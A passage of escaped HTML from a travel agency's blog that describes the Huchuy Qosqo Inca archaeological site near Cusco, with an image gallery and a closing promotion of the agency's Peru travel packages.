Site<\/strong><\/h2>\n\n\n\n<p>If you\u2019re looking to travel off the beaten track, then you should consider visiting the <a aria-label=\"Huchuy Qosqo Archeological Site (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/archeological-sites\/huchuy-qosqo\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>Huchuy Qosqo Archeological Site<\/strong><\/a>, a royal Inca site built under the Viracocha emperor&#8217;s orders.<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" data-id=\"9246\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Huchuy-Qosqo-au-P%C3%A9rou.jpg?resize=697%2C466&#038;ssl=1\" alt=\"\" class=\"wp-image-9246\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Huchuy-Qosqo-au-P%C3%A9rou.jpg?w=736&amp;ssl=1 736w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Huchuy-Qosqo-au-P%C3%A9rou.jpg?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Huchuy-Qosqo-au-P%C3%A9rou.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>This ancient structure is one of the most well-preserved constructions near the Sacred Valley of the Incas, composed of several small buildings, agricultural terraces, and colas.&nbsp;<\/p>\n\n\n\n<p>The site lies 50 kilometers north of Cusco, and historians believe that the Spanish conqueror, Gonzalo Pizarro, found the remains of the Inca Viracocha and ordered the burning of the entire site.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p>We\u2019d love to show everything we know about our historical and cultural heritage. So, we encourage you to check our <a aria-label=\"Peru travel packages (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/packages\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Peru travel packages<\/strong><\/a> while you\u2019re here!<\/p>\n\n\n\n<p>We, at<strong> Viagens Machu Picchu<\/strong>, will take care of all the details regarding your experience in the ancient country of the Incas. <\/p>\n\n\n\n<p>We want you to travel in comfort and, most importantly, live an authentic experience in Peru from start to end. Feel free to<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\"> contact us<\/a><\/strong> to learn more about us! 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